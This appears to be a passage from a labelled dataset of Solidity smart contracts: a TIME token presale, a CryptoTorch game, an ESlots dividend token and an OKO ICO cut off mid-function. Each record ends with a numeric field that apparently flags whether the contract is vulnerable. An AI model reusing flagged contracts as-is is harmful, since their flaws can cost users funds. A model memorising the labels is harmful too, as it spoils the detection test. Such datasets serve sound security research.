uint256 public presaleEndTime;
uint256 public presaleConversionRate;
function initializePresaleFundraiser(
uint256 _presaleMaxSupply,
uint256 _startTime,
uint256 _endTime,
uint256 _conversionRate
)
internal
{
require(_endTime >= _startTime, "Pre-sale's end is before its start");
require(_conversionRate > 0, "Conversion rate is not set");
presaleMaxSupply = _presaleMaxSupply;
presaleStartTime = _startTime;
presaleEndTime = _endTime;
presaleConversionRate = _conversionRate;
}
function isPresaleActive() internal view returns (bool) {
return now < presaleEndTime && now >= presaleStartTime;
}
function getConversionRate() public view returns (uint256) {
if (isPresaleActive()) {
return presaleConversionRate;
}
return super.getConversionRate();
}
function validateTransaction() internal view {
require(msg.value != 0, "Transaction value is zero");
require(
now >= startTime && now < endTime || isPresaleActive(),
"Neither the pre-sale nor the fundraiser are currently active"
);
}
function handleTokens(address _address, uint256 _tokens) internal {
if (isPresaleActive()) {
presaleSupply = presaleSupply.plus(_tokens);
require(
presaleSupply <= presaleMaxSupply,
"Transaction exceeds the pre-sale maximum token supply"
);
}
super.handleTokens(_address, _tokens);
}
}
contract TieredFundraiser is BasicFundraiser {
uint256 constant CONVERSION_RATE_FACTOR = 100;
function getConversionRate() public view returns (uint256) {
return super.getConversionRate().mul(CONVERSION_RATE_FACTOR);
}
function calculateTokens(uint256 _amount) internal view returns(uint256 tokens) {
return super.calculateTokens(_amount).div(CONVERSION_RATE_FACTOR);
}
function getConversionRateFactor() public pure returns (uint256) {
return CONVERSION_RATE_FACTOR;
}
}
contract TIMEToken is MintableToken {
constructor(address _minter)
StandardToken(
"TIME",
"TM",
18
)
MintableToken(_minter)
public
{
}
}
contract TIMETokenSafe is TokenSafe {
constructor(address _token)
TokenSafe(_token)
public
{
init(
1,
1553734800
);
add(
1,
0xf245e9C0e1B25A0d2b91544361DDc285339A6873,
840000000000000000000000
);
}
}
contract TIMETokenFundraiser is MintableTokenFundraiser, PresaleFundraiser, IndividualCapsFundraiser, ForwardFundsFundraiser, TieredFundraiser, GasPriceLimitFundraiser {
TIMETokenSafe public tokenSafe;
constructor()
HasOwner(msg.sender)
public
{
token = new TIMEToken(
address(this)
);
tokenSafe = new TIMETokenSafe(token);
MintableToken(token).mint(address(tokenSafe), 840000000000000000000000);
initializeBasicFundraiser(
1553731200,
1893455940,
1,
0xaC4F9BE57419Aed5e71739Cd22a0cf2da4c90Fe4
);
initializeIndividualCapsFundraiser(
(0 ether),
(0 ether)
);
initializeGasPriceLimitFundraiser(
3000000000000000
);
initializePresaleFundraiser(
2400000000000000000000000,
1553558400,
1553731140,
1
);
}
function getConversionRate() public view returns (uint256) {
uint256 rate = super.getConversionRate();
if (now >= 1553731200 && now < 1556495940)
return rate.mul(105).div(100);
return rate;
}
function mint(address _to, uint256 _value) public onlyOwner {
MintableToken(token).mint(_to, _value);
}
function disableMinting() public onlyOwner {
MintableToken(token).disableMinting();
}
} | 1 | 3,238 |
pragma solidity 0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event OnPause();
event OnUnpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
OnPause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
OnUnpause();
}
}
contract ReentrancyGuard {
bool private reentrancyLock = false;
modifier nonReentrant() {
require(!reentrancyLock);
reentrancyLock = true;
_;
reentrancyLock = false;
}
}
contract DateTime {
function getMonth(uint timestamp) public pure returns (uint8);
function getDay(uint timestamp) public pure returns (uint8);
}
contract OwnTheDayContract {
function ownerOf(uint256 _tokenId) public view returns (address);
}
contract CryptoTorchToken {
function contractBalance() public view returns (uint256);
function totalSupply() public view returns(uint256);
function balanceOf(address _playerAddress) public view returns(uint256);
function dividendsOf(address _playerAddress) public view returns(uint256);
function profitsOf(address _playerAddress) public view returns(uint256);
function referralBalanceOf(address _playerAddress) public view returns(uint256);
function sellPrice() public view returns(uint256);
function buyPrice() public view returns(uint256);
function calculateTokensReceived(uint256 _etherToSpend) public view returns(uint256);
function calculateEtherReceived(uint256 _tokensToSell) public view returns(uint256);
function sellFor(address _for, uint256 _amountOfTokens) public;
function withdrawFor(address _for) public;
function mint(address _to, uint256 _amountForTokens, address _referredBy) public payable returns(uint256);
}
contract CryptoTorch is Pausable, ReentrancyGuard {
using SafeMath for uint256;
event onTorchPassed(
address indexed from,
address indexed to,
uint256 pricePaid
);
struct HighPrice {
uint256 price;
address owner;
}
struct HighMileage {
uint256 miles;
address owner;
}
struct PlayerData {
string name;
string note;
string coords;
uint256 dividends;
uint256 profits;
bool champion;
}
uint8 public constant maxLeaders = 3;
uint256 private _lowestHighPrice;
uint256 private _lowestHighMiles;
uint256 public whaleIncreaseLimit = 2 ether;
uint256 public whaleMax = 20 ether;
HighPrice[maxLeaders] private _highestPrices;
HighMileage[maxLeaders] private _highestMiles;
address[maxLeaders] public torchRunners;
address internal donationsReceiver_;
mapping (address => PlayerData) private playerData_;
DateTime internal DateTimeLib_;
CryptoTorchToken internal CryptoTorchToken_;
OwnTheDayContract internal OwnTheDayContract_;
string[3] internal holidayMap_;
modifier antiWhalePrice(uint256 _amount) {
require(
whaleIncreaseLimit == 0 ||
(
_amount <= (whaleIncreaseLimit.add(_highestPrices[0].price)) &&
playerData_[msg.sender].dividends.add(playerData_[msg.sender].profits).add(_amount) <= whaleMax
)
);
_;
}
function CryptoTorch() public {
torchRunners[0] = msg.sender;
}
function initialize(address _dateTimeAddress, address _tokenAddress, address _otdAddress) public onlyOwner {
DateTimeLib_ = DateTime(_dateTimeAddress);
CryptoTorchToken_ = CryptoTorchToken(_tokenAddress);
OwnTheDayContract_ = OwnTheDayContract(_otdAddress);
holidayMap_[0] = "10000110000001100000000000000101100000000011101000000000000011000000000000001001000010000101100010100110000100001000110000";
holidayMap_[1] = "10111000100101000111000000100100000100010001001000100000000010010000000001000000110000000000000100000000010001100001100000";
holidayMap_[2] = "01000000000100000101011000000110000001100000000100000000000011100001000100000000101000000000100000000000000000010011000001";
}
function setDateTimeLib(address _dateTimeAddress) public onlyOwner {
DateTimeLib_ = DateTime(_dateTimeAddress);
}
function setTokenContract(address _tokenAddress) public onlyOwner {
CryptoTorchToken_ = CryptoTorchToken(_tokenAddress);
}
function setOwnTheDayContract(address _otdAddress) public onlyOwner {
OwnTheDayContract_ = OwnTheDayContract(_otdAddress);
}
function setDonationsReceiver(address _receiver) public onlyOwner {
donationsReceiver_ = _receiver;
}
function setWhaleMax(uint256 _max) public onlyOwner {
whaleMax = _max;
}
function setWhaleIncreaseLimit(uint256 _limit) public onlyOwner {
whaleIncreaseLimit = _limit;
}
function updateHolidayState(uint8 _listIndex, string _holidayMap) public onlyOwner {
require(_listIndex >= 0 && _listIndex < 3);
holidayMap_[_listIndex] = _holidayMap;
}
function isHoliday(uint256 _dayIndex) public view returns (bool) {
require(_dayIndex >= 0 && _dayIndex < 366);
return (getHolidayByIndex_(_dayIndex) == 1);
}
function isHolidayToday() public view returns (bool) {
uint256 _dayIndex = getDayIndex_(now);
return (getHolidayByIndex_(_dayIndex) == 1);
}
function getTodayIndex() public view returns (uint256) {
return getDayIndex_(now);
}
function getTodayOwnerName() public view returns (string) {
address dayOwner = OwnTheDayContract_.ownerOf(getTodayIndex());
return playerData_[dayOwner].name;
}
function getTodayOwnerAddress() public view returns (address) {
return OwnTheDayContract_.ownerOf(getTodayIndex());
}
function setAccountNickname(string _nickname) public whenNotPaused {
require(msg.sender != address(0));
require(bytes(_nickname).length > 0);
playerData_[msg.sender].name = _nickname;
}
function getAccountNickname(address _playerAddress) public view returns (string) {
return playerData_[_playerAddress].name;
}
function setAccountNote(string _note) public whenNotPaused {
require(msg.sender != address(0));
playerData_[msg.sender].note = _note;
}
function getAccountNote(address _playerAddress) public view returns (string) {
return playerData_[_playerAddress].note;
}
function setAccountCoords(string _coords) public whenNotPaused {
require(msg.sender != address(0));
playerData_[msg.sender].coords = _coords;
}
function getAccountCoords(address _playerAddress) public view returns (string) {
return playerData_[_playerAddress].coords;
}
function isChampionAccount(address _playerAddress) public view returns (bool) {
return playerData_[_playerAddress].champion;
}
function takeTheTorch(address _referredBy) public nonReentrant whenNotPaused payable {
takeTheTorch_(msg.value, msg.sender, _referredBy);
}
function() payable public {
if (msg.value > 0 && donationsReceiver_ != 0x0) {
donationsReceiver_.transfer(msg.value);
}
}
function sell(uint256 _amountOfTokens) public {
CryptoTorchToken_.sellFor(msg.sender, _amountOfTokens);
}
function withdrawDividends() public returns (uint256) {
CryptoTorchToken_.withdrawFor(msg.sender);
return withdrawFor_(msg.sender);
}
function torchContractBalance() public view returns (uint256) {
return this.balance;
}
function tokenContractBalance() public view returns (uint256) {
return CryptoTorchToken_.contractBalance();
}
function totalSupply() public view returns(uint256) {
return CryptoTorchToken_.totalSupply();
}
function balanceOf(address _playerAddress) public view returns(uint256) {
return CryptoTorchToken_.balanceOf(_playerAddress);
}
function tokenDividendsOf(address _playerAddress) public view returns(uint256) {
return CryptoTorchToken_.dividendsOf(_playerAddress);
}
function referralDividendsOf(address _playerAddress) public view returns(uint256) {
return CryptoTorchToken_.referralBalanceOf(_playerAddress);
}
function torchDividendsOf(address _playerAddress) public view returns(uint256) {
return playerData_[_playerAddress].dividends;
}
function profitsOf(address _playerAddress) public view returns(uint256) {
return playerData_[_playerAddress].profits.add(CryptoTorchToken_.profitsOf(_playerAddress));
}
function sellPrice() public view returns(uint256) {
return CryptoTorchToken_.sellPrice();
}
function buyPrice() public view returns(uint256) {
return CryptoTorchToken_.buyPrice();
}
function calculateTokensReceived(uint256 _etherToSpend) public view returns(uint256) {
uint256 forTokens = _etherToSpend.sub(_etherToSpend.div(4));
return CryptoTorchToken_.calculateTokensReceived(forTokens);
}
function calculateEtherReceived(uint256 _tokensToSell) public view returns(uint256) {
return CryptoTorchToken_.calculateEtherReceived(_tokensToSell);
}
function getMaxPrice() public view returns (uint256) {
if (whaleIncreaseLimit == 0) { return 0; }
return whaleIncreaseLimit.add(_highestPrices[0].price);
}
function getHighestPriceAt(uint _index) public view returns (uint256) {
require(_index >= 0 && _index < maxLeaders);
return _highestPrices[_index].price;
}
function getHighestPriceOwnerAt(uint _index) public view returns (address) {
require(_index >= 0 && _index < maxLeaders);
return _highestPrices[_index].owner;
}
function getHighestMilesAt(uint _index) public view returns (uint256) {
require(_index >= 0 && _index < maxLeaders);
return _highestMiles[_index].miles;
}
function getHighestMilesOwnerAt(uint _index) public view returns (address) {
require(_index >= 0 && _index < maxLeaders);
return _highestMiles[_index].owner;
}
function takeTheTorch_(uint256 _amountPaid, address _takenBy, address _referredBy) internal antiWhalePrice(_amountPaid) returns (uint256) {
require(_takenBy != address(0));
require(_amountPaid >= 5 finney);
require(_takenBy != torchRunners[0]);
if (_referredBy == address(this)) { _referredBy = address(0); }
address previousLast = torchRunners[2];
torchRunners[2] = torchRunners[1];
torchRunners[1] = torchRunners[0];
torchRunners[0] = _takenBy;
address dayOwner = OwnTheDayContract_.ownerOf(getDayIndex_(now));
uint256 forDev = _amountPaid.mul(5).div(100);
uint256 forTokens = _amountPaid.sub(_amountPaid.div(4));
uint256 forPayout = _amountPaid.sub(forDev).sub(forTokens);
uint256 forDayOwner = calculateDayOwnerCut_(forPayout);
if (dayOwner == _takenBy) {
forTokens = forTokens.add(forDayOwner);
forPayout = _amountPaid.sub(forDev).sub(forTokens);
playerData_[_takenBy].champion = true;
} else {
forPayout = forPayout.sub(forDayOwner);
}
onTorchPassed(torchRunners[1], _takenBy, _amountPaid);
uint256 mintedTokens = CryptoTorchToken_.mint.value(forTokens)(_takenBy, forTokens, _referredBy);
updateLeaders_(_takenBy, _amountPaid);
handlePayouts_(forDev, forPayout, forDayOwner, _takenBy, previousLast, dayOwner);
return mintedTokens;
}
function handlePayouts_(uint256 _forDev, uint256 _forPayout, uint256 _forDayOwner, address _takenBy, address _previousLast, address _dayOwner) internal {
uint256[] memory runnerPortions = new uint256[](3);
if (_previousLast != address(0)) {
runnerPortions[2] = _forPayout.mul(10).div(100);
}
if (torchRunners[2] != address(0)) {
runnerPortions[1] = _forPayout.mul(30).div(100);
}
runnerPortions[0] = _forPayout.sub(runnerPortions[1]).sub(runnerPortions[2]);
playerData_[_previousLast].dividends = playerData_[_previousLast].dividends.add(runnerPortions[2]);
playerData_[torchRunners[2]].dividends = playerData_[torchRunners[2]].dividends.add(runnerPortions[1]);
playerData_[torchRunners[1]].dividends = playerData_[torchRunners[1]].dividends.add(runnerPortions[0]);
playerData_[owner].profits = playerData_[owner].profits.add(_forDev);
if (_dayOwner != _takenBy) {
playerData_[_dayOwner].profits = playerData_[_dayOwner].profits.add(_forDayOwner);
}
owner.transfer(_forDev);
if (_dayOwner != _takenBy) {
_dayOwner.transfer(_forDayOwner);
}
}
function withdrawFor_(address _for) internal returns (uint256) {
uint256 torchDividends = playerData_[_for].dividends;
if (playerData_[_for].dividends > 0) {
playerData_[_for].dividends = 0;
playerData_[_for].profits = playerData_[_for].profits.add(torchDividends);
_for.transfer(torchDividends);
}
return torchDividends;
}
function updateLeaders_(address _takenBy, uint256 _amountPaid) internal {
if (_takenBy == owner || _takenBy == donationsReceiver_) { return; }
if (_amountPaid > _lowestHighPrice) {
updateHighestPrices_(_amountPaid, _takenBy);
}
uint256 tokenBalance = CryptoTorchToken_.balanceOf(_takenBy);
if (tokenBalance > _lowestHighMiles) {
updateHighestMiles_(tokenBalance, _takenBy);
}
}
function calculateDayOwnerCut_(uint256 _price) internal view returns (uint256) {
if (getHolidayByIndex_(getDayIndex_(now)) == 1) {
return _price.mul(25).div(100);
}
return _price.mul(10).div(100);
}
function getDayIndex_(uint timestamp) internal view returns (uint256) {
uint8 day = DateTimeLib_.getDay(timestamp);
uint8 month = DateTimeLib_.getMonth(timestamp);
uint16[12] memory offset = [0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335];
return offset[month-1] + day;
}
function getHolidayByIndex_(uint256 _dayIndex) internal view returns (uint result) {
if (_dayIndex < 122) {
return getFromList_(0, _dayIndex);
}
if (_dayIndex < 244) {
return getFromList_(1, _dayIndex-122);
}
return getFromList_(2, _dayIndex-244);
}
function getFromList_(uint8 _idx, uint256 _dayIndex) internal view returns (uint result) {
result = parseInt_(uint(bytes(holidayMap_[_idx])[_dayIndex]));
}
function parseInt_(uint c) internal pure returns (uint result) {
if (c >= 48 && c <= 57) {
result = result * 10 + (c - 48);
}
}
function updateHighestPrices_(uint256 _price, address _owner) internal {
uint256 newPos = maxLeaders;
uint256 oldPos = maxLeaders;
uint256 i;
HighPrice memory tmp;
for (i = maxLeaders-1; i >= 0; i--) {
if (_price >= _highestPrices[i].price) {
newPos = i;
}
if (_owner == _highestPrices[i].owner) {
oldPos = i;
}
if (i == 0) { break; }
}
if (newPos < maxLeaders) {
if (oldPos < maxLeaders-1) {
_highestPrices[oldPos].price = _price;
if (newPos != oldPos) {
tmp = _highestPrices[newPos];
_highestPrices[newPos] = _highestPrices[oldPos];
_highestPrices[oldPos] = tmp;
}
} else {
for (i = maxLeaders-1; i > newPos; i--) {
_highestPrices[i] = _highestPrices[i-1];
}
_highestPrices[newPos].price = _price;
_highestPrices[newPos].owner = _owner;
}
_lowestHighPrice = _highestPrices[maxLeaders-1].price;
}
}
function updateHighestMiles_(uint256 _miles, address _owner) internal {
uint256 newPos = maxLeaders;
uint256 oldPos = maxLeaders;
uint256 i;
HighMileage memory tmp;
for (i = maxLeaders-1; i >= 0; i--) {
if (_miles >= _highestMiles[i].miles) {
newPos = i;
}
if (_owner == _highestMiles[i].owner) {
oldPos = i;
}
if (i == 0) { break; }
}
if (newPos < maxLeaders) {
if (oldPos < maxLeaders-1) {
_highestMiles[oldPos].miles = _miles;
if (newPos != oldPos) {
tmp = _highestMiles[newPos];
_highestMiles[newPos] = _highestMiles[oldPos];
_highestMiles[oldPos] = tmp;
}
} else {
for (i = maxLeaders-1; i > newPos; i--) {
_highestMiles[i] = _highestMiles[i-1];
}
_highestMiles[newPos].miles = _miles;
_highestMiles[newPos].owner = _owner;
}
_lowestHighMiles = _highestMiles[maxLeaders-1].miles;
}
}
} | 1 | 3,131 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract DividendContract {
using SafeMath for uint256;
event Dividends(uint256 round, uint256 value);
event ClaimDividends(address investor, uint256 value);
uint256 totalDividendsAmount = 0;
uint256 totalDividendsRounds = 0;
uint256 totalUnPayedDividendsAmount = 0;
mapping(address => uint256) payedDividends;
function getTotalDividendsAmount() public constant returns (uint256) {
return totalDividendsAmount;
}
function getTotalDividendsRounds() public constant returns (uint256) {
return totalDividendsRounds;
}
function getTotalUnPayedDividendsAmount() public constant returns (uint256) {
return totalUnPayedDividendsAmount;
}
function dividendsAmount(address investor) public constant returns (uint256);
function claimDividends() payable public;
function payDividends() payable public {
require(msg.value > 0);
totalDividendsAmount = totalDividendsAmount.add(msg.value);
totalUnPayedDividendsAmount = totalUnPayedDividendsAmount.add(msg.value);
totalDividendsRounds += 1;
Dividends(totalDividendsRounds, msg.value);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ESlotsICOToken is ERC20, DividendContract {
string public constant name = "Ethereum Slot Machine Token";
string public constant symbol = "EST";
uint8 public constant decimals = 18;
function maxTokensToSale() public view returns (uint256);
function availableTokens() public view returns (uint256);
function completeICO() public;
function connectCrowdsaleContract(address crowdsaleContract) public;
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ESlotsToken is Ownable, StandardToken, ESlotsICOToken {
event Burn(address indexed burner, uint256 value);
enum State { ActiveICO, CompletedICO }
State public state;
uint256 public constant INITIAL_SUPPLY = 50000000 * (10 ** uint256(decimals));
address founders = 0x7b97B31E12f7d029769c53cB91c83d29611A4F7A;
uint256 public constant foundersStake = 10;
uint256 public constant dividendRoundsBeforeFoundersStakeUnlock = 4;
uint256 maxFoundersTokens;
uint256 tokensToSale;
uint256 transferGASUsage;
function ESlotsToken() public {
totalSupply_ = INITIAL_SUPPLY;
maxFoundersTokens = INITIAL_SUPPLY.mul(foundersStake).div(100);
tokensToSale = INITIAL_SUPPLY - maxFoundersTokens;
balances[msg.sender] = tokensToSale;
Transfer(0x0, msg.sender, balances[msg.sender]);
state = State.ActiveICO;
transferGASUsage = 21000;
}
function maxTokensToSale() public view returns (uint256) {
return tokensToSale;
}
function availableTokens() public view returns (uint256) {
return balances[owner];
}
function setGasUsage(uint256 newGasUsage) public onlyOwner {
transferGASUsage = newGasUsage;
}
function connectCrowdsaleContract(address crowdsaleContract) public onlyOwner {
approve(crowdsaleContract, balances[owner]);
}
function completeICO() public onlyOwner {
require(state == State.ActiveICO);
state = State.CompletedICO;
uint256 soldTokens = tokensToSale.sub(balances[owner]);
uint256 foundersTokens = soldTokens.mul(foundersStake).div(100);
if(foundersTokens > maxFoundersTokens) {
foundersTokens = maxFoundersTokens;
}
BasicToken.transfer(founders, foundersTokens);
totalSupply_ = soldTokens.add(foundersTokens);
balances[owner] = 0;
Burn(msg.sender, INITIAL_SUPPLY.sub(totalSupply_));
}
function transfer(address _to, uint256 _value) public returns (bool) {
if(msg.sender == founders) {
require(totalDividendsAmount > 0 && totalDividendsRounds > dividendRoundsBeforeFoundersStakeUnlock);
}
require(payedDividends[msg.sender] == totalDividendsAmount);
require(balances[_to] == 0 || payedDividends[_to] == totalDividendsAmount);
bool res = BasicToken.transfer(_to, _value);
if(res && payedDividends[_to] != totalDividendsAmount) {
payedDividends[_to] = totalDividendsAmount;
}
return res;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
if(msg.sender == founders) {
require(totalDividendsAmount > 0 && totalDividendsRounds > dividendRoundsBeforeFoundersStakeUnlock);
}
require(payedDividends[_from] == totalDividendsAmount);
require(balances[_to] == 0 || payedDividends[_to] == totalDividendsAmount);
bool res = StandardToken.transferFrom(_from, _to, _value);
if(res && payedDividends[_to] != totalDividendsAmount) {
payedDividends[_to] = totalDividendsAmount;
}
return res;
}
modifier onlyThenCompletedICO {
require(state == State.CompletedICO);
_;
}
function dividendsAmount(address investor) public onlyThenCompletedICO constant returns (uint256) {
if(totalSupply_ == 0) {return 0;}
if(balances[investor] == 0) {return 0;}
if(payedDividends[investor] >= totalDividendsAmount) {return 0;}
return (totalDividendsAmount - payedDividends[investor]).mul(balances[investor]).div(totalSupply_);
}
function claimDividends() payable public onlyThenCompletedICO {
sendDividends(msg.sender, 0);
}
function pushDividends(address investor) payable public onlyThenCompletedICO {
sendDividends(investor, transferGASUsage.mul(tx.gasprice));
}
function sendDividends(address investor, uint256 gasUsage) internal {
uint256 value = dividendsAmount(investor);
require(value > gasUsage);
payedDividends[investor] = totalDividendsAmount;
totalUnPayedDividendsAmount = totalUnPayedDividendsAmount.sub(value);
investor.transfer(value.sub(gasUsage));
ClaimDividends(investor, value);
}
function payDividends() payable public onlyThenCompletedICO {
DividendContract.payDividends();
}
} | 0 | 2,578 |
pragma solidity ^0.4.19;
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a && c >= b);
return c;
}
}
contract StandardToken is SafeMath {
uint256 public totalSupply;
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
modifier onlyPayloadSize(uint256 size) {
require(msg.data.length == size + 4);
_;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != 0);
uint256 balanceFrom = balances[msg.sender];
require(_value <= balanceFrom);
balances[msg.sender] = safeSub(balanceFrom, _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != 0);
uint256 allowToTrans = allowed[_from][msg.sender];
uint256 balanceFrom = balances[_from];
require(_value <= balanceFrom);
require(_value <= allowToTrans);
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balanceFrom, _value);
allowed[_from][msg.sender] = safeSub(allowToTrans, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function addApproval(address _spender, uint256 _addedValue)
onlyPayloadSize(2 * 32)
public returns (bool success) {
uint256 oldValue = allowed[msg.sender][_spender];
allowed[msg.sender][_spender] = safeAdd(oldValue, _addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function subApproval(address _spender, uint256 _subtractedValue)
onlyPayloadSize(2 * 32)
public returns (bool success) {
uint256 oldVal = allowed[msg.sender][_spender];
if (_subtractedValue > oldVal) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = safeSub(oldVal, _subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MigrationAgent {
function migrateFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is Ownable, StandardToken {
address public migrationAgent;
event Upgrade(address indexed from, address indexed to, uint256 value);
event UpgradeAgentSet(address agent);
function migrate() public {
require(migrationAgent != 0);
uint value = balances[msg.sender];
balances[msg.sender] = safeSub(balances[msg.sender], value);
totalSupply = safeSub(totalSupply, value);
MigrationAgent(migrationAgent).migrateFrom(msg.sender, value);
Upgrade(msg.sender, migrationAgent, value);
}
function () public payable {
require(migrationAgent != 0);
require(balances[msg.sender] > 0);
migrate();
msg.sender.transfer(msg.value);
}
function setMigrationAgent(address _agent) onlyOwner external {
migrationAgent = _agent;
UpgradeAgentSet(_agent);
}
}
contract OKOToken is UpgradeableToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
address public allTokenOwnerOnStart;
string public constant name = "OKOIN";
string public constant symbol = "OKO";
uint256 public constant decimals = 6;
function OKOToken() public {
allTokenOwnerOnStart = msg.sender;
totalSupply = 240000000000000;
balances[allTokenOwnerOnStart] = totalSupply;
Mint(allTokenOwnerOnStart, totalSupply);
Transfer(0x0, allTokenOwnerOnStart ,totalSupply);
MintFinished();
}
}
contract IcoOKOToken is Ownable, SafeMath {
address public wallet;
address public allTokenAddress;
bool public emergencyFlagAndHiddenCap = false;
uint256 public startTime = 1516838400;
uint256 public endTime = 1524700800;
uint256 public USDto1ETH = 1100;
uint256 public price;
uint256 public totalTokensSold = 524380060997;
uint256 public constant maxTokensToSold = 84000000000000;
OKOToken public token;
function IcoOKOToken(address _wallet, OKOToken _token) public {
wallet = _wallet;
token = _token;
allTokenAddress = token.allTokenOwnerOnStart();
price = 1 ether / USDto1ETH / 1000000 * 27 / 10;
}
function () external payable {
require(now <= endTime && now >= startTime);
require(!emergencyFlagAndHiddenCap);
require(totalTokensSold < maxTokensToSold);
uint256 value = msg.value;
uint256 tokensToSend = safeDiv(value, price);
require(tokensToSend >= 1000000 && tokensToSend <= 350000000000);
uint256 valueToReturn = safeSub(value, tokensToSend * price);
uint256 valueToWallet = safeSub(value, valueToReturn);
wallet.transfer(valueToWallet);
if (valueToReturn > 0) {
msg.sender.transfer(valueToReturn);
}
